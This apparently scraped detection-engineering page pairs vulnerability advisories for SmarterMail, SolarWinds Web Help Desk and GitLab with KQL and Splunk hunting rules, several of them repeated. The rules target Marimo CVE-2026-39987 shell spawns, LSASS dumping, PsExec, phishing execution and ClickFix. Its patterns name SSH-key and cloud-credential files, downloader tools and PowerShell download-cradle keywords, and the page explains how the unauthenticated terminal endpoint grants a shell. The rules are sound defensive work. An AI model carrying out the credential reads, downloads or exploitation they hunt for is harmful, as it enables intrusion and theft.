| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-057 use cases1 technique3 kill-chain phases detected
SmarterTools SmarterMail contains a missing authentication for critical function vulnerability in the ConnectToHub API method. This could allow the attacker to point the SmarterMail instance to a malicious HTTP server which serves the malicious OS command and could lead to command execution. Vendor: SmarterTools, Product: SmarterMail. Known ransomware use: Known. Federal patch due: 2026-02-26.
CVEsCVE-2026-24423
ATT&CKT1486
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-24423")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-24423")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-02-034 use cases1 technique3 kill-chain phases detected
SolarWinds Web Help Desk contains a deserialization of untrusted data vulnerability that could lead to remote code execution, which would allow an attacker to run commands on the host machine. This could be exploited without authentication. Vendor: SolarWinds, Product: Web Help Desk. Federal patch due: 2026-02-06.
CVEsCVE-2025-26399CVE-2025-40551
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-26399", "CVE-2025-40551")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-26399", "CVE-2025-40551")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-034 use cases0 techniques3 kill-chain phases detected
GitLab Community and Enterprise Editions contain a server-side request forgery vulnerability which could allow unauthorized external users to perform Server Side Requests via the CI Lint API. Vendor: GitLab, Product: Community and Enterprise Editions. Federal patch due: 2026-02-24.
CVEsCVE-2021-22175CVE-2021-39935
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2021-22175", "CVE-2021-39935")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2021-22175", "CVE-2021-39935")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
